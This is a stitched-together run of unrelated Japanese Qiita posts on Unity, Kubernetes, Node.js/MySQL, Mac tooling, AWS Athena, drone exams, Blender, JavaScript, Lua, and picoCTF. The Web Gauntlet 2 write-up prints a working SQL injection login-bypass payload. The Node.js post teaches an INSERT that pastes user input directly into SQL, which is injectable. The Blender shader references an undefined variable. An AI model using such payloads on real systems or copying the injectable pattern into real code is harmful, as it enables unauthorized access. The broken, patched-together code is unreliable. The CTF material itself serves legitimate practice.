・ゲームを期間内に投稿(遅刻可)
・投稿者同士で作品に点数を付けたりコメントを記入できる仕組み有り

今回、私が参加したイベントのお題は「そろえる」でした
unity1weekに参加するのは3回目なのですが
今回は3Dでゲームを作ってみました
普段の業務で扱うのは2D、uGUIなので
ほぼ知識ゼロからUnity3Dについて調べることになりましたが
なんとかやりたかったことが実現でき、良い経験になりました

# 完成したゲーム

![AhiruChanFloat.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/101551/4958f758-7b4f-58e0-3f1b-8005708c1621.png)

【操作方法】
[マウス]
カーソル操作: 照準の移動(投げる向き)
クリック長押し: 投げる強さを決める(投げる距離)
クリック離す: 浮き輪を投げる

---

【紹介文】
浮き輪を投げて「アヒルちゃん」をキャッチしろ！
・マウスカーソルを動かして狙いを定めます
・マウスクリック長押しで投げる距離を決めます
・マウスクリックを離せば浮き輪が飛んでいきます
・浮き輪の穴にアヒルちゃんがハマれば得点です

アヒルちゃんと浮き輪には
赤、黄、緑の色が付いています
・アヒルちゃんと浮き輪の色が同じだったら300点です
・アヒルちゃんと浮き輪の色が違っていたら100点です

---

「アヒルちゃんフロート」
↓作ったゲームはこちら
https://unityroom.com/games/ahiruchanfloat

# 学んだこと

・Unityくさい画面にしないテクニック
https://qiita.com/ruccho_vector/items/014d9751e0e63c11db39
https://kurokumasoft.com/2022/01/05/unity-lighting-tips/
全部を実践するのは正直無理そうなので
スカイボックスの変更、ライティングの調整など
自分でも簡単にできそうなところから見た目を改善

・〇〇との当たり判定は欲しいけど××とぶつかった時のみすり抜けて欲しい的な処理
https://kan-kikuchi.hatenablog.com/entry/ChangeLayer
Layer Collision Matrixを利用する
スクリプトからレイヤーを変えてしまえば動的に当たり判定を操作できる

・オブジェクトを透明にしようとすると描画順が崩壊する
https://freesoft-48784.hatenablog.com/entry/2017/10/08/234049
オブジェクトを透過するには
マテリアルのRendering Modeを“Fade”にしてMeshのアルファを変更する
しかし“Fade”になっていると描画順がおかしくなるという問題が起こるため
透過したい時だけRendering Modeをスクリプトで制御する必要がある

・ベクトルの向きをそのままに長さ(magnitude)を変えたい
https://docs.unity3d.com/jp/current/ScriptReference/Vector3.Normalize.html
ベクトルの正規化(Normalize)を行うことで
方向を維持したまま、長さ(magunitude)が 1.0のベクトルが生成される
あとはこの値に任意のスケールを乗算する

・水面でプカプカさせたい
https://hk-ryukyu.club/hideto/archives/27
Unity-WaterBuoyancyを使った

・弾道予測演出を作るのに参考にした記事
https://qiita.com/_udonba/items/860041daa27e0b7ffa6c
https://lightgive.hatenadiary.jp/entry/2017/10/28/113948

# おわりに

こういうゲームを作りたい！と頭に思い描いたものが形にできるとやっぱり嬉しいです
イベント参加のたびに新しい学びがあって無駄なことは一つもないなぁと感じました
普段の仕事はチーム開発ですが
こうやって一人で全部やると見えてくることもありますよね
少ない手間でゲームをちょっとリッチな感じにしてくれるフリー素材さんは神だと思います

[CYBIRD Advent Calendar 2022](https://qiita.com/advent-calendar/2022/cybird) (https://qiita.com/advent-calendar/2022/cybird) 
明日は、（@utamakura）さんの
「MySQLデータを復旧させる方法」です
お楽しみに！
CronJobを手軽に修正＆再実行する方法

このエントリーは [GMOアドマーケティングAdvent Calendar 2022](https://qiita.com/advent-calendar/2022/gmo-am) の16日目です。

こんにちは[@zakisanbaiman](https://twitter.com/zakisanbaiman)です。

今回はCronJob(or Job)の中身を修正＆実行したい場合の方法を記載します。

修正したイメージをビルドし直してJobとして実行するのが一般的かもしれませんが、それだとビルドに時間がかかったりソースの微修正がしづらいと思うので、自分がよく行っている修正手順を共有します。

## 環境

GKE Version: 1.21.14-gke.8500

## 手順

### 1. 修正したいCronJobのimageを取得

`-o wide`を付けることでIMAGES項目が出現します。

```
$ kubectl get cj -o wide
NAME              SCHEDULE      SUSPEND   ACTIVE   LAST SCHEDULE   AGE   CONTAINERS       IMAGES                       SELECTOR
cronjobs-daily    0 16 * * *    False     0        <none>          21m   cronjobs-daily   asia.gcr.io/hoge/hoge:hoge   <none>
```

### 2. テンポラリのPodを作成

Podとして起動させることで常駐するため、ログインして微修正することが容易になります。

#### case A. コンテナ実行環境(環境変数やマウントなど)の設定が不要な場合
`kubectl run` コマンドでPodを作成
```
$ kubectl run temp01 \
  --image=asia.gcr.io/hoge/hoge:hoge \
  --restart=Never
```

`--restart=Never` と指定することによってPodとして起動することができます。

#### case B. コンテナ実行環境を対象CronJobと同様にしたい場合
Podのマニフェストファイルを作成して `kubectl create -f <マニフェストファイル名>` を実行。
ここが面倒ですが、環境変数を一致させるにはこの方法が良さそうです。

```
apiVersion: v1
kind: Pod
metadata:
  name: temp01
spec:
  containers:
  - name: temp01
    image: asia.gcr.io/hoge/hoge:hoge
    env:
      - name: ENV
        value: "hoge"
```

### 3. Pod内のコンテナにログイン

```
$ kubectl exec -it temp01 -- bash
```

※上記はPod内にコンテナが1つのみのケースですが、Pod内にコンテナが複数存在する場合は `--container <コンテナ名>` でコンテナを指定する必要があります。

### 4. 修正&手動実行

実行したいソースが入っているため、修正するなりして何度も直接実行することができます。

### 5. Pod削除

不要になったPodは削除しておきましょう。

```
$ kubectl delete pods temp01
pod "temp01" deleted
```

## まとめ

CronJob以前にcrontabを使っていたような方であれば、今回のようにコンテナログインして操作するのが一番馴染みがあるのではないでしょうか。
毎回修正イメージをビルドして実行させても良いのですが、今回の方法のほうが素早くトライアンドエラーができて便利だと思っています。

## 参考

[Kubernetesドキュメント kubectlチートシート](https://kubernetes.io/ja/docs/reference/kubectl/cheatsheet/)
[プログラマーの雑記 kubernetesのcronjobをすぐ実行する方法](https://kaoru2012.blogspot.com/2020/05/kubernetescronjob.html)

## おわりに

明日は、[@y-g](https://techblog.gmo-ap.jp/author/g-y/)さんによる「Googleアナリティクス4（GA4）を使ってみて」です。
引き続き、[GMOアドマーケティングAdvent Calendar 2022](https://qiita.com/advent-calendar/2022/gmo-am) をお楽しみください！
Node.js+mysql2でデータ取得＆登録

Node.jsでDB接続をする時、MySQL8系とnpmのmysqlライブラリだとパスワード認証ができないので[mysql2](https://www.npmjs.com/package/mysql2)ライブラリを使うと思います

mysql2のDB操作は記事によって書き方が違う、（当時のバージョンと違うから）全然動かない…！と苦労したので書いておきます

## DB接続
async-awaitでDB操作をする `mysql2/promise` を利用します

```js
// require('mysql2')でコールバック関数を使う方法だと動かなかった
var mysql = require('mysql2/promise');
let client
/**
 * DB接続生成
 * DB操作時に接続、クローズをする
 */
const createConnection = async() => {
  client = await mysql.createConnection({
  host: "localhost",
  port: 3306,
  user: "userName",
  password: "password",
  database: "dbName"
})
}
```

## データ取得
データ取得するときは `execute()` を使います（`query()` だとデータ取得できなかったので注意！）

```js
/**
 * ユーザー一覧取得
 * @returns ユーザー情報
 */
const getUserList = async() => {
  await createConnection()
  const [rows, fields] = await client.execute("select * from users")
  await client.end()
  return rows
}
```


`rows` にはこんな感じでデータが入ってきます


```bash
[ { id: 2, name: 'admin' }, { id: 3, name: 'developer' } ]
```

## データ登録
データ登録は `query()` を使うと動きます

```js
/**
 * ユーザー登録
 */
const registerUser = async(userName) => {
  await createConnection()
  const [result, filelds] = await client.query(
    `INSERT INTO users VALUES (0, '${userName}')`
  )
  await client.end()
  return result
}
```

`result` には登録結果が入ってきます

```bash
ResultSetHeader {
  fieldCount: 0,
  affectedRows: 1,
  insertId: 5,
  info: '',
  serverStatus: 2,
  warningStatus: 0
}
```

SELECTは `execute()` 、INSERTは `query()` と覚えましょう（ややこしい）
Mac環境のそれから Ver.2022-12

## 背景
前回のBeeX Adventcalendarで[MacBook Airの環境設定について](https://qiita.com/atakig/items/16c191199b2d3fd159df)を書きました
1年経過してどう変わったかを振り返ってみます


## 今の環境
### IDE
変わらずIntelliJ IDEAとVS Codeを使っています
PythonはIntelliJ IDEAで、TypeScriptの時はVS Codeですね

### エディタ
基本[VimR](https://github.com/qvacua/vimr)でたまーにOS付属のテキストエディタを使っています

### ターミナル
[warp](https://www.warp.dev/)とか[Alacritty](https://github.com/alacritty/alacritty)といったrust製のものやwebベースの[hyper](https://hyper.is/)といったものを試しましたが、
日本語入力がダメだったり、fishと相性が悪かったりでiTermに落ち着きました
[tmux](https://github.com/tmux/tmux/wiki)も使っています。特に凝った設定はしていなく、PrefixキーをC-tにしているぐらいです

### shell
fishを使っています
プラグインは使っていません

設定もそんなに多くなく、下ぐらいですね
* nodeのバージョンマネージャーであるvoltaのpath関連
* pythonのバージョンマネージャーであるpyenvのpath関連
* aws cliの自動補完
* エイリアス
  * abbr -a cdk npx aws-cdk
  * abbr -a vim nvim
  * abbr -a ll exa -al --icons --git
* zoxide init fish | source
* starship init fish | source
* fish_vi_key_bindings

[zoxide](https://github.com/ajeetdsouza/zoxide) はディレクトリ名を指定するだけで、そのディレクトリに移動してくれるので重宝しています

```
~ > z xxx-project(開発中のsourceを置いているディレクトリ名)
~/p/M/s/xxx-project > (xxx-projectディレクトリに移動)
```


### その他良く使っているアプリやツールや変わった点
* [Toggl](https://toggl.com/): 工数をこちらで管理しています。私にとってはなくてはならないツールです
* 日本語変換を[AquaSkk](https://github.com/codefirst/aquaskk)にしました。キーバインドの関係でPowerPointやExcelを使う時はOS付属の日本語変換を使っています
* キーバインド
  * Ctrl + SpaceをSpotlightに。アプリの起動はこちらで
  * 右Cmdキーに英字、右Optキーに日本語On(Karabiner利用)
  * F1にMission Control
* outlookはアプリでなくブラウザで見るように
* メールはslackのプライベートチャネルに転送して必要ならoutlookで確認するようになりました。営業メール等はOutlookのルールで別フォルダに仕分けてslack転送対象外にしています
* SharePoint: ドキュメントの共有はこちらで。ファイルを選択して「開く」→「アプリで開く」で直接ファイル編集できるのが便利過ぎます
* [massCode](https://masscode.io/): スニペット管理
* [clasp](https://github.com/google/clasp): Google Apps Scriptの開発はこのツールが必須ですね
* [pass](https://www.passwordstore.org/): パスワードマネージャー。以前はnotionを使っていましたが今はこちらに。数コマンドでパスワードがコピーできるのが大変便利です

### キーボード
ノートPCのキーボード上にホームセンターで買った[3mmのアクリル版](https://www.acrysunday.co.jp/product/diy-pla/diy-acrylic-board/239/)に[ゴムクッション](https://www.monotaro.com/p/8623/2283/)を貼り付けてその上に置いて使っています
特に撓むこともなく、快適に使えています
キーボードブリッジは結構良いお値段しますが、この方法だと1000円少しで済みました

## 最後に
Macといいますか、SKKを使っていると、Microsoft製品との相性の悪さを良く感じます
それ以外は楽しく、快適に作業できています

今回の内容がどなたかの快適な環境構築の1助になれば嬉しく思います
Athena, Redshift Spectrum で CSV 読み込む時の注意点

## 概要
CSV の読み込みには以下があるが、2重引用符内に `,` を含むデータがある場合は要注意。

1. Glue Crawler を利用する
1. Athena, Redshift Spectrum から DDL で外部テーブル定義を行う

## 問題点
Glue Crawler を利用して csv から Glue カタログにテーブルを作成する際は、デフォルトで LazySimpleSerDe が使われる。しかし、以下のような落とし穴があるので注意する。

:::note warn
LazySimpleSerDe は データ内に引用符で囲まれた値がない場合は、この SerDe を使用します。
:::

**とのことで、以下のようなデータが CSV ファイルに存在すると適切にデータを読み込むことができません。**


``` sample.csv
column_a,column_b
abc,1000
def,"2,000"
```

クエリ結果 (Redshift Spectrum からのクエリ結果)
以下のように、適切に読み込まれない。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/878000/3ec35073-9c0a-8d26-5743-d000e26011fc.png)

## 対応
以下の対応を検討しましょう。
1. OpenCSV Serde で DDL を書く
1. CSV を Parquet に変換してから、Glue Crawler にかける ( ※ 変換掛ける前に Header 情報を削除しておきましょう。)

1の実装例
``` create_external_table.ddl
CREATE EXTERNAL TABLE IF NOT EXISTS test_csv_serde (
  `column_a` string,
  `column_b` string
)
ROW FORMAT SERDE 'org.apache.hadoop.hive.serde2.OpenCSVSerde'
WITH SERDEPROPERTIES (
  'separatorChar' = ',',
  'quoteChar' = '"',
  'escapeChar' = '\\'
)
STORED AS INPUTFORMAT 'org.apache.hadoop.mapred.TextInputFormat' OUTPUTFORMAT 'org.apache.hadoop.hive.ql.io.HiveIgnoreKeyTextOutputFormat'
LOCATION 's3://{YOUR BUCKET NAME}/{YOUR PREFIX NAME}/'
TBLPROPERTIES (
'classification' = 'csv',
'skip.header.line.count' = '1'
)
;
```

結果
正常に読み込まれている。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/878000/e8c441d5-3f9b-ab62-00e0-4767f1005c75.png)

## まとめ
LazySimpleSerDe には気をつけましよう。


## 参考
https://docs.aws.amazon.com/ja_jp/athena/latest/ug/lazy-simple-serde.html
独学で 無人航空機操縦士（二等）学科試験に合格しました！

## はじめに
こんにちは。Osamuです。今週、（2022年12月5日）から始まった、無人航空機操縦士の学科試験を受けて、合格しましたので、知識の整理もかねて、ノートにまとめます。

## 教材

教材は、国交省の出している、無人航空機の飛行の安全に関する教則　を利用しました。制度が始まったばかりなので、表現、言い回しが教則の通りだろうと予測し、こちらの教則を利用しました。（結果、予測は的中しました。）

## 勉強方法

勉強方法は、以下のステップで進めました。

### １．教本の作成

教則をA4用紙1枚に2ページが印刷されるように設定し、プリントアウトしました。また、一等の範囲が含まれているので、その部分は、誤って読み進めない様、ペンで囲って×を付けました。

### ２．教則の音声データの作成

知り合いに朗読劇とか演劇とかやっている人がいるので、上記教本を渡して、朗読＆録音したデータを作ってもらいました。依頼した時のポイントは、噛んでしまってもいいので、まずは、すべて読み切ってもらいました。後で編集して利用しようと思ったのですが、結局そのまま利用しました。

### ３．学習

音声データを聞きながら、教本読み、まとめノートを作りました。まとめノートを作るポイントは、以下の通りです。

用語、略語ピックアップし、用語集にまとめる。

数字を拾って、説明と数字をセットで、まとめる。

場面ごとの例外の説明をピックアップする。

列挙されていたり、複数の箇所で説明されている内容は表にまとめる。

この作業が終わったら、まとめノートを覚える作業に徹しました。ちなみに、学習にかけた時間は、５時間程度でした。（読んでピックアップが4時間、まとめノートの作成が1時間）

まとめノートは、清書して後日公開しますので、フォローしておいてください

### ４．記憶の定着作業

まとめノートと、音声データを利用して記憶の定着作業をしました。移動中は、音声データをききながら、知らない知識があったら、スマホにメモる。落ち着いたタイミングで、まとめノートに追記。休憩中や寝る前、気になったときにまとめノートを読み、記憶の定着をする。

## 受検予約日と当日の心得

### 受検の予約

どの試験でも同じだと思いますが、知識が高まったタイミングで受検することをお勧めします。この試験の場合、当日までの間に毎日30分度の学習時間を３～５日確保できるタイミングで、当日に予定が無い日をお勧めします。受検場所は、なるべく近い方がいいです。（当日は緊張するので。）

### 当日の心得

当日は、まとめノートを読み返し、数字や表の誤解が無いように努めます。移動中などに、音声データを聞き流すのも有効です。（試験に出る言い回しをインプットできるため。）

私の場合、近くの試験場に空きが無く、1時間ぐらいかけて移動したので、アウェイ感もあり、少し緊張しました。（笑）でも、音声データを聞いたり、まとめノートを読み返して、知識の穴がない事を確認したら、安心できました。

## お知らせ


追記：無人航空機操縦士（二等）学科試験のまとめノートを公開しました！

https://note.com/hirayama_osamu/n/n6aa6f9d7d738
OS X Venturaのバグかな？ログイン項目から消してもChromeが何度も勝手にログイン項目に追加されてしまう問題

https://support.google.com/chrome/thread/185741593/mac-ventura%E3%81%AB%E3%82%A2%E3%83%83%E3%83%97%E3%82%B0%E3%83%AC%E3%83%BC%E3%83%89%E3%81%97%E3%81%9F%E3%82%89%E3%80%81%E5%8B%9D%E6%89%8B%E3%81%AB%E3%80%8C%E3%83%AD%E3%82%B0%E3%82%A4%E3%83%B3%E6%99%82%E3%81%AB%E9%96%8B%E3%81%8F%E3%80%8D%E3%81%ABchrome%E3%81%8C%E8%BF%BD%E5%8A%A0%E3%81%95%E3%82%8C%E3%81%A6%E3%81%97%E3%81%BE%E3%81%86%E3%80%82?hl=ja

この記事と同じ症状になったのですが、私の場合はhubspotの拡張機能が原因でした。
同じ症状で困っている方の参考になれば。

ただ、もう一つクリップボード拡張ツールで愛用しているClipyですが、再起動の度にログイン項目に追加された通知のポップアップが表示されます。。。

https://clipy-app.com/

こいつは常駐アプリだからログイン項目でいいんですが、毎回通知のポップアップが出るの地味にウザいんだよなぁ。
前は「隠す」ってオプションが自分で選択できたんですが、今回の大幅なUI変更でMacOSもだいぶiOS寄りに変わりましたねー。
まぁ、そのうちバグ修正されてアップデート待てば治る可能性も高いですがちょっと原因調べてみて解決策発見したら追記しようかと思います。
コミュニティ活動のススメ

# 初めに
私が若手社員の方と1on1をするときによく話すネタになるのですが、きっと周りの方にも共感いただけるかと思い、アドベントカレンダーとして紹介したいと思います。

テーマとしては「コミュニティ活動のススメ」です
ぜひ皆さんが興味のあるコミュニティに参加してみるキッカケになれば幸いです。

この記事はTDCソフト株式会社Advent Calendarの15日目です。

# そもそもコミュニティとは
[デジタル大辞泉](https://www.weblio.jp/content/%E3%82%B3%E3%83%9F%E3%83%A5%E3%83%8B%E3%83%86%E3%82%A3) によると「コミュニティ」について、以下の通り記述されています
```
コミュニティー【community】
読み方：こみゅにてぃー

居住地域を同じくし、利害をともにする共同社会。町村・都市・地方など、
生産・自治・風俗・習慣などで深い結びつきをもつ共同体。地域社会。
```

今回は特に「利害を共にする共同社会」というワードでコミュニティを語ります。

私は、勉強会や技術系のイベントに参加することもコミュニティ活動として捉えています。
勉強会で取り上げられるテーマに対してみんなで知見を深めるという目的があるからです。

# コミュニティ参加のメリット

私が考えるコミュニティ参加のメリットは、以下　5点です。
- 取り上げられたテーマについて知見を深めることができる
- 他の参加者の話を聞くことで、自分で考えなかった気づきが得られる
- 取り上げられたテーマについて悩んでいるのが自分以外にもいることが分かり、モチベーションが上がる
- 会社以外のつながりが出来る。技術的に悩んだ時に会話出来る人が増える
- 自分が調べてアウトプットした結果を共有することで誰かの役に立ったり、フィードバックをもらったりすることで、自分の技術向上につながる

# どんなコミュニティがあるか知りたい

どんなコミュニティがあるか知りたいと思った方向けにいくつかサイトを紹介します。

- connpass: https://connpass.com/dashboard/
- doorkepper: https://www.doorkeeper.jp 

私はインフラエンジニアのため、CloudNativeやAWS,GCPなどのパブリッククラウドの技術を深めたいと考えているため、以下のようなコミュニティに参加しています

- CloudNative Days: https://event.cloudnativedays.jp/
- JAWS-UG(Japan AWS Users Group): https://jaws-ug.jp/
- GCPUG(Google Cloud Platform User Group): https://gcpug.jp/

→ CloudNative Daysはスタッフとして参加しているため、活動に興味のある方はご一報ください！
JAWS-UGやGCPUGなどは、地域のユーザ会やCLIなどのサービスカットでの勉強会がconnpassなどで募集されています。興味のあるグループに登録し、勉強会に参加いただくことをオススメします！
（もっと興味が出てくれば運営に関わるともっと幅が広がります！！）

パブリッククラウドベンダー主催のイベントもあります！
- AWS: https://aws.amazon.com/jp/events/
- Google Cloud: https://cloud.google.com/events?hl=ja

# 最後に

ぜひコミュニティに参加をしたら、得られた知見をアウトプットすることで知識の定着と周りに対する情報発信をすることで自身のプレゼンス向上に取り組み、よりハッピーなエンジニアライフをお過ごしください！

明日は@msts_onさんの記事です。アドベントカレンダーにたくさん投稿いただいている猛者です！
ぜひお楽しみに！！
picoCTF Writeup picoGym Practice Challenges picobrowser (注意<spoiler>)

# picobrowser
Description
This website can be rendered only by picobrowser, go and catch the flag! https://jupiter.challenges.picoctf.org/problem/28921/ (link) or http://jupiter.challenges.picoctf.org:28921

リンクを開き、開発者ツールで・・・
more tools
Network condicions
User Agernt 
 デフォルトを外し任意のブラウザを入力（picobrowser）を入力しリダイレクトすればフラグが手に入る。

picoCTF{p1c0_s3cr3t_ag3nt_84f9c865}
Blender 自作シェーダー(OSL)で簡単なリムライト


# 概要
リムライトとは、モデルの輪郭を光らせるコンピュータグラフィックスの技法の1つです。
![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/368850/04ea9591-bcbf-7d5b-caca-771eb25f4a6b.png)

**モデルの頂点座標からカメラまでのベクトル**と**法線ベクトル**のなす角度を求めて、その角度が一定値より多ければ、モデルを光らせます。

# シェーダー

```HLSL
shader rim_shader(
    //テクスチャ
    color texture_color = color(0.0,0.0,0.0),
    //法線
    normal n = N,
    //座標
    point position = point(0,0,0),
    //計算結果カラー
    output color final_color  = color(0.0,0.0,0.0)
)
{
    final_color = texture_color;    
    
    //カメラの座標
    point camera_pos = point("camera",0,0,0) - point("world",0,0,0);
    //カメラに向かうベクトル
    point to_camera = normalize(camera_pos-position);
    //カメラに向かうベクトルと法線ベクトルのなす角を求める。
    float angle = acos(dot(n,camera_pos));
    //角度が約68.7度より大きかったら。
    if(d > 1.2)
    {
        //光らせる。
        final_color *= 10.0;
    }
}
```
for...in文

```js
  <script>
    let jsbook = {title: 'Javascript入門', price: '2500', stock: '3'};
    for(let p in jsbook) {
        console.log(p + '=' + jsbook[p]);
    }
  </script>
```
### コンソール
```
title=Javascript入門
price=2500
stock=3
```

### 気づき
```let p```にプロパティのキーが与えられていると思う。
#### 出典
https://qiita.com/masatom86650860/items/6b485ec9941553480aec#%E3%83%97%E3%83%AD%E3%83%91%E3%83%86%E3%82%A3%E3%81%A8%E3%81%AF

### for...in文
オブジェクトのプロパティを全て読み取ることだけを目的とした、専用の繰り返し文

# HTMLに出力する
```html
<section>
    <table border="1">
      <tr>
        <td id="title"></td>
        <td id="price"></td>
        <td id="stock"></td>
      </tr>
    </table>
  </section>
```

```js
<script>
      'use strict';
    let jsbook = {title: 'Javascript入門', price: '2500', stock: '3'};
    for(let p in jsbook) {
        if(p === 'price'){
            document.getElementById(p).textContent = `${jsbook[p]}円`;
        }else
        document.getElementById(p).textContent = jsbook[p];
    }
  </script>
```
これは自分で少しいじりました。
勉強のためにも...
### 気づき
オブジェクトのキーを代入したいときは```p```
プロパティのキーの値を代入したい時は```オブジェクト名[プロパティのキー]```

# 感想
ついに自分でコードを簡単に弄れるようになってきた。
この調子で頑張ろう。

# 出典
https://www.sbcr.jp/product/4815601577/
任意軸回転をやってみる

　
この記事は[アドカレ](https://qiita.com/advent-calendar/2022/lua)に参加しています。

# 任意軸回転をやってみる

　任意軸回転というものがあります。その名の通り、三次元空間で任意軸まわりに回転するやつです。

↓こんなかんじ
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005402/f0c48004-96f5-d683-49b3-d32195123f0b.png)

## 理論
　さて、任意軸回転ということでクォータニオンについて理解する必要があります。

僕はあまり解説が上手くない&僕も理解していないので、クォータニオンの解説は以下のリンクなどをご参照ください。

[クォータニオン (Quaternion) を総整理！ ～ 三次元物体の回転と姿勢を鮮やかに扱う ～](https://qiita.com/drken/items/0639cf34cce14e8d58a5)
[クォータニオンとは何ぞや？：基礎線形代数講座](https://techblog.sega.jp/entry/2021/06/15/100000)
[クォータニオンを使ったカメラの回転](https://qiita.com/arisen/items/7b7e51777ef83c2e49af#:~:text=クォータニオンとは)
[回転行列、クォータニオン(四元数)、オイラー角の相互変換](https://qiita.com/aa_debdeb/items/3d02e28fb9ebfa357eaf)

## 実装
　luaで書くと以下のようになります。
```lua
local th=(60)*math.pi/180--角度(ラジアンをthに
local bec={0,1,0}--三次元ベクトル

--単位ベクトルにする
local k=math.sqrt(bec[1]*bec[1]+bec[2]*bec[2]+bec[3]*bec[3])
bec[1]=bec[1]/k
bec[2]=bec[2]/k
bec[3]=bec[3]/k

--四次元ベクトルを用意
local q={}
local q2={}
q[1]=bec[1]*math.sin(th*0.5)
q[2]=bec[2]*math.sin(th*0.5)
q[3]=bec[3]*math.sin(th*0.5)
q[4]=math.cos(th*0.5)
q2[1]=bec[1]*math.sin(-th*0.5)
q2[2]=bec[2]*math.sin(-th*0.5)
q2[3]=bec[3]*math.sin(-th*0.5)
q2[4]=math.cos(-th*0.5)

--クォータニオンの掛け算
local function MultiplyQuaternion(q,p)
 local d={}
 d[1]=q[4]*p[1]-q[3]*p[2]+q[2]*p[3]+q[1]*p[4]
 d[2]=q[3]*p[1]+q[4]*p[2]-q[1]*p[3]+q[2]*p[4]
 d[3]=-q[2]*p[1]+q[1]*p[2]+q[4]*p[3]+q[3]*p[4]
 d[4]=-q[1]*p[1]-q[2]*p[2]-q[3]*p[3]+q[4]*p[4]
 return d
end

--この関数に座標を与えると、回転後の座標を返す
function rot_MQ(o)
 local p={o[1],o[2],o[3],0}
 p=MultiplyQuaternion(q,p)
 p=MultiplyQuaternion(p,q2)
 o[1],o[2],o[3]=p[1],p[2],p[3]
 return o
end
```

## 解説
　上記コードの解説をします。

まず、ベクトル(任意軸)と回転量を決めます。
```lua
local th=(60)*math.pi/180--角度(ラジアンをthに
local bec={0,1,0}--三次元ベクトル
```
　
次に、ベクトルを単位ベクトルにします。これはクォータニオンの定義に関わってくるので、単位ベクトルにするのを忘れてしまうと正確な処理をしてくれません。
```lua
--単位ベクトルにする
local k=math.sqrt(bec[1]*bec[1]+bec[2]*bec[2]+bec[3]*bec[3])
bec[1]=bec[1]/k
bec[2]=bec[2]/k
bec[3]=bec[3]/k
```
　
次は四次元ベクトルを用意します。あとで使うので、回転量に-1を乗算したベクトルも用意しておきます。
```lua
--四次元ベクトルを用意
local q={}
local q2={}
q[1]=bec[1]*math.sin(th*0.5)
q[2]=bec[2]*math.sin(th*0.5)
q[3]=bec[3]*math.sin(th*0.5)
q[4]=math.cos(th*0.5)
q2[1]=bec[1]*math.sin(-th*0.5)
q2[2]=bec[2]*math.sin(-th*0.5)
q2[3]=bec[3]*math.sin(-th*0.5)
q2[4]=math.cos(-th*0.5)
```
　
クォータニオン同士の掛け算を行う関数です。
```lua
--クォータニオンの掛け算
local function MultiplyQuaternion(q,p)
 local d={}
 d[1]=q[4]*p[1]-q[3]*p[2]+q[2]*p[3]+q[1]*p[4]
 d[2]=q[3]*p[1]+q[4]*p[2]-q[1]*p[3]+q[2]*p[4]
 d[3]=-q[2]*p[1]+q[1]*p[2]+q[4]*p[3]+q[3]*p[4]
 d[4]=-q[1]*p[1]-q[2]*p[2]-q[3]*p[3]+q[4]*p[4]
 return d
end
```
　
最後に、回転後の座標を求める関数です。
入力座標を四次元ベクトルとして計算していきます。
```lua
--この関数に座標を与えると、回転後の座標を返す
function rot_MQ(o)
 local p={o[1],o[2],o[3],0}
 p=MultiplyQuaternion(q,p)
 p=MultiplyQuaternion(p,q2)
 o[1],o[2],o[3]=p[1],p[2],p[3]
 return o
end
```
　
さて、作成した関数に三次元の座標を渡すと、回転後の座標が返ってきます。
```lua
local testpos={100,50,200}
local testpos2=rot_MQ(testpos)
```
 
## 最後に
　[discord](https://discord.com/channels/957447213636784149/986586170681073744/1046063213118242846)にサンプルプロジェクトを投げているので、興味のある方は是非。

[twitter](https://twitter.com/metaphysicalba1)
picoCTF Writeup picoGym Practice Challenges Web Gauntlet 2 (注意<spoiler>)

# Web Gauntlet 2

AUTHOR: MADSTACKS

If the flag is not displayed after completing this challenge, try clearing your cookies. Cookies set by other challenges may prevent the flag from displaying properly.

Description
This website looks familiar... Log in as admin Site:

問題のヒントから見てSQliteらしい

https://blog.hamayanhamayan.com/entry/2021/12/05/115923

ここの情報から見てSQLiを試してみる。

35文字の制約があるので、コマンドも少ない文字数で入力しなければならない。

Username: ad'||'min' group by 
Password: '

```http://mercury.picoctf.net:61434/filter.php

<?php
session_start();

if (!isset($_SESSION["winner2"])) {
    $_SESSION["winner2"] = 0;
}
$win = $_SESSION["winner2"];
$view = ($_SERVER["PHP_SELF"] == "/filter.php");

if ($win === 0) {
    $filter = array("or", "and", "true", "false", "union", "like", "=", ">", "<", ";", "--", "/*", "*/", "admin");
    if ($view) {
        echo "Filters: ".implode(" ", $filter)."<br/>";
    }
} else if ($win === 1) {
    if ($view) {
        highlight_file("filter.php");
    }
    $_SESSION["winner2"] = 0;        // <- Don't refresh!
} else {
    $_SESSION["winner2"] = 0;
}

// picoCTF{0n3_m0r3_t1m3_b55c7a5682db6cb0192b28772d4f4131}
?>
```

picoCTF{0n3_m0r3_t1m3_b55c7a5682db6cb0192b28772d4f4131}
BlenderでGLB形式のモデルを読み込み、スケールを変更すーる

# はじめに
BlenderでGLB形式のモデルを読み込み、スケールを変更していきまーす

# 開発環境
- Windows 10 PC
- Blender 3.1.2

# 導入
1．Blenderを開く

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/63863/7c720a5b-9d29-f38c-6d14-d7f7e76223cb.png)

2．デフォルトで配置されるオブジェクトを削除

- Cube
- Camera
- Light
をDeleteする

3．File -> Import -> .glbからモデルをインポートする

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/63863/efaf5691-0446-25fd-1294-d7019c67588e.png)

4．オブジェクトを選択、スケールを変える

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/63863/c3c876ce-b825-0028-b9f0-17f6fb05a70b.png)

5．File -> Export -> .glbからモデルをエクスポートする
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/63863/0cd2107e-0666-9e10-acfa-4be3a9ebaac5.png)

6．ナレコムVRにアップロードして表示
![MicrosoftTeams-image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/63863/a9ecf319-43b9-9b2c-d18a-7585f98f9611.png)
Emission-control and diagnosis legislation, ボッシュ自動車handbook(英語)11版A.C.まとめ<16>

Automotive Handbook Countdown  Calendar 2022

https://qiita.com/advent-calendar/2022/automotivehandbook

12/13 参加記事です。

ボッシュ自動車handbook(英語)11版(0-1) 課題と記事一覧new

https://qiita.com/kaizen_nagoya/items/a9d2887bf2a7598dc8e5

<この項は書きかけです。順次追記します。>

# Contents
Motor vehicle, 28
Basic principles, 32
Mathematics and methods, 204
Materials, 258
Machine parts, 354
Joining and bonding techniques, 426
Vehicle physics, 462
Operating fluids, 538
Refrigerants for air-conditioning systems, 591
Drivetrain(駆動系), 594
Internal-combustion engines(内燃機関),642
Management for spark-ignition engines,800
Gasoline-engine operation with alternative fuels, 886
Management for diesel engines, 906
Electrification of the drive, 970
Chassis systems, 1108
Vehicle bodies, 1310
